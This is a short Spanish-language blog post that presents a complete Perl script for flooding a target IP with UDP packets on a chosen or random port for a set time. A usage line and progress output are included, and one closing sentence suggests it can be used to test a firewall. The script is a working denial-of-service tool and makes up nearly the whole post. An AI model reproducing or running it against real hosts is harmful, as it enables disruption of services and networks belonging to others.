UDP FLOOD ATTACK

Posted on 24/01/2012

0


Este script hecho en perl envía una cantidad muy grande de paquetes UDP a un host remoto por un puerto en especifico o aleatoriamente selecciona uno. Para probar este script debes tener instalado PERL en caso que uses Linux eso no es un inconveniente ya sabes por que, pero si estas usando Windows tendrías que descargarlo luego configurar sus entornos de variable etc etc.

Aquí te dejo el script:

#!/usr/bin/perl

use Socket;
use strict;

if ($#ARGV != 3) {
print “[+] ping_flood.pl <ip> <port> <size> <time>\n\n”;
exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton(“$ip”) or die “No se encuentra disponible el host $ip\n”;
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);

print “Flooding $ip ” . ($port ? $port : “random”) . ” port with ” .
($size ? “$size-byte” : “random size”) . ” packets” .
($time ? ” for $time seconds” : “”) . “\n”;
print “Salir con Ctrl-C\n” $time;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack(“a$psize”,”flood”), 0, pack_sockaddr_in($pport, $iaddr));}

Este script nos puede servir para analizar si el Firewall esta correctamente configurado.

Anuncios
Posted in: attack, flood